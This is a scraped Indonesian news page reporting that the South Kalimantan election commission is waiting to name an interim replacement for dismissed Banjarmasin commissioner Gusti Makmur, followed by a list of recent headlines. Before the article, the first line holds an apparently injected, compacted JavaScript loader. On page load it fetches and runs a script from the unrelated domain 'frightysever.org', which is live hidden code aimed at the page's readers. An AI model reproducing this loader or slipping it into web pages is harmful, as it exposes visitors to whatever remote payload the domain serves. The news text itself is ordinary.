(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PILKADA BANJARMASIN

Pasca Putusan DKPP RI, KPU Kalsel Masih Tunggu PAW Gusti Makmur


KANALKALIMANTAN.COM, BANJARMASIN – Sepekan setelah pemberhentian tetap mantan Ketua KPU Kota Banjarmasin Gusti Makmur oleh Dewan Kehormatan Penyelenggara Pemilu (DKPP) RI, hingga kini KPU Provinsi Kalsel masih menunggu pengganti antar waktu (PAW) yang ditetapkan KPU RI.

“Setelah diberhentikan oleh KPU RI, tinggal surat keputusan (SK) mungkin nanti ada perintah ke KPU Provinsi Kalsel untuk persiapan PAW,” ungkap Ketua KPU Provinsi Kalsel Sarmuji, di sela rapat koordinasi dalam rangka sosialisasi Indeks Kerawanan Pemilu (IKP) di Hotel GSign Banjarmasin, Rabu (11/3/2020) siang.

Lalu, bagaimana mekanisme PAW? Menurut Sarmuji, nanti akan diambil dari waiting list yang berada urutan nomor enam hingga sepuluh. Nantinya, KPU Provinsi Kalsel akan melakukan pengecekan untuk calon PAW apakah masih memenuhi syarat sebagai calon anggota KPU.

“Kemudian, kita ajukan kesediaannya kalau masih memenuhi syarat. Nanti juga ada masukan dan tanggapan kita juga perlu klarifikasi,” ucap Sarmuji.

Kesediaan calon PAW untuk menjadi anggota KPU Kota Banjarmasin dirasa cukup penting. Karena, menurut Sarmuji, bisa saja calon PAW tidak lagi bersedia untuk menjadi anggota KPU saat diklarifikasi.

“Nanti kami panggil, kalau bersedia ya sudah. Kita lakukan nanti pengusulan untuk PAW Gusti Makmur,” lugas Sarmuji.

Terpisah, Ketua KPU Kota Banjarmasin Rahmiyati Wahdah mengatakan, pihaknya menunggu calon PAW yang akan menggantikan Gusti Makmur di KPU Kota Banjarmasin. Karena menurutnya, ranah untuk pengusulan dan penetapan PAW berada di tangan KPU Provinsi Kalsel dan KPU RI.

“Kami menunggu, mudah-mudahan cepat. Karena tahapan (Pilkada) sudah mulai. Mudah-mudahan PAW ini segera dilantik, jadi bisa bergabung dengan kita,” kata Rahmiyati.

Informasi yang dihimpun, untuk PAW diambil dari urutan enam ada nama Taufikkurahman dan di urutan ketujuh ada nama Joko Nugroho, tercatat pernah menjadi komisioner KPU Kota Banjarmasin periode 2013-2018. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

28 menit ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

32 menit ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

2 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

2 jam ago

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

17 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

19 jam ago

This website uses cookies.